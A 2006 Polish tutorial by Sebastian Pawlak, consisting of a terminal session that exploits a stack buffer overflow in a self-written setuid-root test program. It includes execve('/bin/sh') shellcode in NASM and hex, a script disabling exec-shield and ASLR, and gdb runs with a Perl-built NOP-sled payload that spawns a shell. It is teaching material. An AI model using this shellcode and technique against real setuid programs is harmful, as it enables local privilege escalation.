Buffer Overflow
-- Sebastian Pawlak, 2006.
Sesja pokazująca wykorzystanie błędu typu buffer overflow na stosie do uruchomienia własnego shellcode'u.
Kod źródłowy pliku "sesja2":
[hacka@Jupiter vuln]$ ls shell.asm vuln.c [hacka@Jupiter vuln]$ cat shell.asm BITS 32 jmp short data start: pop esi xor eax, eax mov byte [esi + 7], al mov long [esi + 8], esi mov long [esi + 12], eax mov byte al, 0x0b mov ebx, esi lea ecx, [esi + 8] lea edx, [esi + 12] int 0x80 xor ebx, ebx mov eax, ebx inc eax int 0x80 data: call start db '/bin/sh' [hacka@Jupiter vuln]$ nasm -o shell.bin shell.asm [hacka@Jupiter vuln]$ ls -l total 12 -rw-r--r-- 1 hacka hacka 400 Mar 31 22:24 shell.asm -rw-rw-r-- 1 hacka hacka 45 Mar 31 22:28 shell.bin -rw-r--r-- 1 hacka hacka 190 Mar 31 22:24 vuln.c [hacka@Jupiter vuln]$ od -tx1 shell.bin 0000000 eb 1f 5e 31 c0 88 46 07 89 76 08 89 46 0c b0 0b 0000020 89 f3 8d 4e 08 8d 56 0c cd 80 31 db 89 d8 40 cd 0000040 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68 0000055 [hacka@Jupiter vuln]$ od -tc shell.bin 0000000 353 037 ^ 1 300 210 F \a 211 v \b 211 F \f 260 \v 0000020 211 363 215 N \b 215 V \f 315 200 1 333 211 330 @ 315 0000040 200 350 334 377 377 377 / b i n / s h 0000055 [hacka@Jupiter vuln]$ gcc -g -o vuln vuln.c [hacka@Jupiter vuln]$ su root Password: [root@Jupiter vuln]# chown root.root vuln [root@Jupiter vuln]# chmod u+s vuln [root@Jupiter vuln]# exit [hacka@Jupiter vuln]$ ls -l total 24 -rw-r--r-- 1 hacka hacka 400 Mar 31 22:24 shell.asm -rw-rw-r-- 1 hacka hacka 45 Mar 31 22:28 shell.bin -rwsrwxr-x 1 root root 10651 Mar 31 22:31 vuln -rw-r--r-- 1 hacka hacka 190 Mar 31 22:24 vuln.c [hacka@Jupiter vuln]$ ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa [hacka@Jupiter vuln]$ ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Segmentation fault [hacka@Jupiter vuln]$ su root Password: [root@Jupiter vuln]# cat ../\!/unprotect.sh #!/bin/bash /sbin/sysctl -w kernel.exec-shield=0 /sbin/sysctl -w kernel.randomize_va_space=0 [root@Jupiter vuln]# cd ../\!/ [root@Jupiter !]# ./unprotect.sh kernel.exec-shield = 0 error: 'kernel.randomize_va_space' is an unknown key [root@Jupiter !]# cd ../vuln [root@Jupiter vuln]# exit [hacka@Jupiter vuln]$ gdb ./vuln GNU gdb Red Hat Linux (6.0post-0.20040223.19rh) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"...Using host libthread_db lib rary "/lib/tls/libthread_db.so.1". (gdb) set args aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa (gdb) r Starting program: /home/hacka/vuln/vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaa Error while mapping shared library sections: : Success. Error while reading shared library symbols: : Permission denied. Error while reading shared library symbols: : Permission denied. Error while reading shared library symbols: : Permission denied. Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? () (gdb) b func Breakpoint 1 at 0x8048379: file vuln.c, line 7. (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/hacka/vuln/vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaa Error while mapping shared library sections: : Success. Error while reading shared library symbols: : Permission denied. Error while reading shared library symbols: : Permission denied. Error while reading shared library symbols: : Permission denied. Breakpoint 1, func (p=0xfefff966 'a' <repeats 200 times>gt;...) at vuln.c:7 7 strcpy(buf, p); (gdb) cont Continuing. Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? () (gdb) set args `perl -e 'print "\x90"x211'; cat shell.bin; perl -e 'print "\x99\ x99\x99\x99"x2'` (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/hacka/vuln/vuln `perl -e 'print "\x90"x211'; cat shell.b in; perl -e 'print "\x99\x99\x99\x99"x2'` Error while mapping shared library sections: : Success. Error while reading shared library symbols: : Permission denied. Error while reading shared library symbols: : Permission denied. Error while reading shared library symbols: : Permission denied. Breakpoint 1, func (p=0xfefff98a '\220' <repeats 200 times>gt;...) at vuln.c:7 7 strcpy(buf, p); (gdb) cont Continuing. Program received signal SIGSEGV, Segmentation fault. 0x90909090 in ?? () (gdb) info reg eax 0x0 0 ecx 0xfffffcf5 -779 edx 0xfefffa93 -16778605 ebx 0x61dffc 6414332 esp 0xfefff708 0xfefff708 ebp 0x90909090 0x90909090 esi 0x2 2 edi 0x6200fc 6422780 eip 0x90909090 0x90909090 eflags 0x210286 2163334 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/s 0xfefff708 0xfefff708: '\220' <repeats 75 times>gt;, " \037^1 \210F\a\211v\b\211F\f \v\21 1 \215N\n\215V\f \2001 \211 @ \200 /bin/sh\231\231\231\231\231\231\231\231" (gdb) x/s 0xfefff708-100 0xfefff6a4: '\220' <repeats 175 times>gt;, " \037^1 \210F\a\211v\b\211F\f \b\2 11 \215N\b\215V\f "... (gdb) set args `perl -e 'print "\x90"x211'; cat shell.bin; perl -e 'print "\xa4\ xf6\xff\xfe"x2'` (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/hacka/vuln/vuln `perl -e 'print "\x90"x211'; cat shell.b in; perl -e 'print "\xa4\xf6\xff\xfe"x2'` Error while mapping shared library sections: : Success. Error while reading shared library symbols: : Permission denied. Error while reading shared library symbols: : Permission denied. Error while reading shared library symbols: : Permission denied. Breakpoint 1, func (p=0xfefff98a '\220' <repeats 200 times>gt;...) at vuln.c:7 7 strcpy(buf, p); (gdb) cont Continuing. Program received signal SIGSEGV, Segmentation fault. 0x90909090 in ?? () (gdb) set args `perl -e 'print "\x90"x211'; cat shell.bin; perl -e 'print "\xa4\ xf6\xff\xfe"x4'` (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/hacka/vuln/vuln `perl -e 'print "\x90"x211'; cat shell.b in; perl -e 'print "\xa4\xf6\xff\xfe"x4'` Error while mapping shared library sections: : Success. Error while reading shared library symbols: : Permission denied. Error while reading shared library symbols: : Permission denied. Error while reading shared library symbols: : Permission denied. Breakpoint 1, func (p=0xfefff982 '\220' <repeats 200 times>gt;...) at vuln.c:7 7 strcpy(buf, p); (gdb) cont Continuing. sh-2.05b$